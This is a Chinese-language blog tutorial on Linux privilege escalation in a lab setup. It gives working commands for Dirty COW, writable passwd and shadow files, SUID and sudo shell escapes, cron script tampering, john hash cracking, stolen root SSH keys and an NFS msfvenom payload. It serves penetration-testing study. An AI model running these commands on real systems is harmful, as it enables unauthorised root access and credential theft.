執行 PoC
./dcow -s -n
這只是其中之一的提權方式,可以利用 linux-exploit-suggester 等工具來查看相關內核提權的 CVE 漏洞,當然這是最暴力的方式,萬不得已的情況下才使用 !
Reference : https://github.com/gbonacini/CVE-2016-5195
2. /etc/passwd 提權
存儲了系统中所有用户的基本信息,並且所有用户都可以對此文件執行「讀」操作,但如果 /etc/passwd 配置不當一般使用者可以有「寫」的權限是不是能添加 root 用戶呢 xD
實作環境 :
需求 : /etc/passwd 檔案具有寫(w)的權限
一樣在這邊使用 Ubuntu 14.04.5 LTS 進行測試
查看 /etc/passwd 權限 : ls -lh /etc/passwd (假設全部人可讀可寫可執行)
直接 echo 用戶進去到 /etc/passwd 中
echo "noth:9/QG0DB3cC0ts:0:0:,,,:/root:/bin/bash" >> /etc/passwd
成功添加 noth 用戶
切換成 noth 用戶
su noth
筆者認為這是滿直觀的提權方式,查看 /etc/passwd 是否有寫的權限,有的話直接添加個 root 權限用戶就好 xD 這邊在稍微補充一下,那我們要怎麼產生 root 權限的密碼雜驟呢 ? 可以使用 openssl 功能 -> openssl passwd 密碼
3. /etc/shadow 提權
文件用於存儲加密後的密碼和密碼相關的配置信息,該文件的每一行代表一個用戶,其實和 /etc/passwd 提權是相同的原理 xD 只要 /etc/shadow 權限配置不當,直接修改 root 用戶的密碼就好 : )
實作環境 :
需求 : /etc/shadow 檔案具有寫(w)的權限
一樣在這邊使用 Ubuntu 14.04.5 LTS 進行測試
查看 /etc/shadow 權限 : ls -lh /etc/shadow (假設全部人可讀可寫可執行)
利用 openssl 產生密碼雜驟
openssl passwd -1 -salt ignite noth
參數 :
-1 : 使用 MD5 hash 算法
-salt : 對 hash 算法加 "鹽"
前 :
後 :
切換 root 用戶
su root
4. SUID 提權
SUID 被定義為给予一個用户臨時的(程序/文件)所有者的權限來運行一個程序/文件,用户在執行程序/文件/命令的時候,將獲取文件所有者的權限以及所有者的UID和GID,提權的思路就是運行 root 用户所擁有的 SUID 的文件。
實作環境 :
需求 : 檔案具有 suid 權限,並且屬於 root 用戶
一樣在這邊使用 Ubuntu 14.04.5 LTS 進行測試,並以 find 命令當作實作例子
先將 find 指令設置 suid 權限 (chmod 4755 /usr/bin/find)
查看 find 命令權限
透過 GTFOB 尋找 find suid 提權指令
根據指令進行提權
/usr/bin/find . -exec /bin/sh \; -quit
當然不一定只有 find 命令可以拿來做 suid 提權,以及其他常見的例如 nmap、vim、find、bash、more、less、nano、cp 等 ... 在尋找有 suid 權限的檔案時,我們大致上可以分成兩派(手工/腳本)。
手工尋找 root 權限具有 suid 檔案 :
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
腳本尋找 root 權限具有 suid 檔案 :
https://github.com/Jewel591/suidcheck
相關提權指令 Cheatsheet : GTFOB
5. Cron Jobs 提權
Linux 系统中的「定時任務」,常被用來安排那些需要周期性執行的命令,例如定期備份數據、定期清理緩存等功能,因為使用到 cron 工具 (crontab),被稱作 Cron Jobs,假設腳本設定為「定時任務」以更高的用户權限運行(例如 root 用户) 來執行,則攻擊者可以竄改腳本來提權。
實作環境 :
Ubuntu 14.04.5 LTS
需求 : 有腳本被設定為 crontab 定時任務,並以高權限 root 用戶來執行
環境搭建 :
/home 目錄下新建一個叫做 cleanup,並在底下創建 4 個檔案 (1.txt、2.txt、1.php、2.php)
在 /tmp 目錄中建立 cleanup.py,寫入清除 /home/cleanup 目錄下所有東西
並賦予權限 chmod 777 cleanup.py
編輯 crontab 添加定時任務,每隔2分鐘運行一次 cleanup.py 腳本
vim /etc/crontab
*/2 * * * * root /tmp/cleanup.py
首先拿到非 root 權限,查看 /etc/crontab
查看 cleanup.py 權限以及相關 Code
ls -al /tmp/cleanup.py
修改 cleanup.py 腳本,添加 suid 權限給 /bin/dash
兩分鐘後運行 /bin/dash,拿到 root 權限
在這邊在提供大家一個 pspy 工具,在打滲透的時候可以丟進去對方主機 xD
觀察是否有可利用的腳本被設定為排程,以利竄改腳本來提權。
pspy (監控排程腳本) : https://github.com/DominicBreuker/pspy
6. sudo 提權
讓當前使用者以 root 或其他使用者身份(取決於 /etc/sudoers 檔案配置) 執行命令,/etc/sudoers 是許可權的配置檔案,該檔案用於配置具有 sudo 許可權的使用者和組,當你使用 sudo 執行任何命令時,Linux 系統會檢查 sudoers 檔案中配置的使用者名稱或組,若當前使用者和當前使用者所在的使用者組均不在 sudoers 檔案中,則不能使用 sudo 命令,提權思路就是下 sudo -l 去查看是否有命令是用 root 權限而不需要密碼 XD
環境搭建 :
修改 /etc/sudoers
sudo vim /etc/sudoers
實作環境 :
Ubuntu 14.04.5 LTS
需求 : sudo -l 命令查看是否有命令以 root 權限執行而不需要密碼
普通使用者下 sudo -l 命令查看 :
發現 /usr/bin/vim 指令能以 root 權限執行且不需要密碼
gtfobins 網站查詢相關 sudo vim 提權指令
https://gtfobins.github.io/
執行相關提權指令 :
sudo vim -c ':!/bin/sh'
成功提權 :
7. 暴力破解提權
當 /etc/passwd 或 /etc/shadow 是可以讀取 (r) 時 , 可以把雜湊值儲保存到本地端 , 並利用一些工具 john、hashcat 等工具來破解雜湊 , 再利用得到的明文進行登入。
查看 /etc/shadow 內容 :
cat /etc/shadow
將 root 帳戶相關資訊保存到本地端儲存為 hash.txt :
利用 john 破解雜湊 :
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
顯示 john 破解結果 :
john --show hash.txt
切換 root 用戶 :
su root
8. SSH 密鑰提權
當發現 SSH 的 root 用戶的 private kay 時,保留到本地端後並賦予權限 chmod 600,能使用 ssh 密鑰登入 root 帳戶。
將 root_key 保存到本地端
並授予 root_key 正確權限 :
chmod 600 root_key
使用密鑰以 root 帳戶登錄 :
ssh -i root_key root@victim'ip
9. NFS 共享提權
檢查 victim 中的 NFS 配置 :
cat /etc/exports
本地端創建一個掛載點並掛載 /tmp 共享 :
mount -o rw,vers=2 victim'ip:/tmp /tmp/nfs
本地端產生反彈 shell.elf :
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
並設置 suid 權限 :
chmod +xs /tmp/nfs/shell.elf
/tmp/shell.elf
留言
張貼留言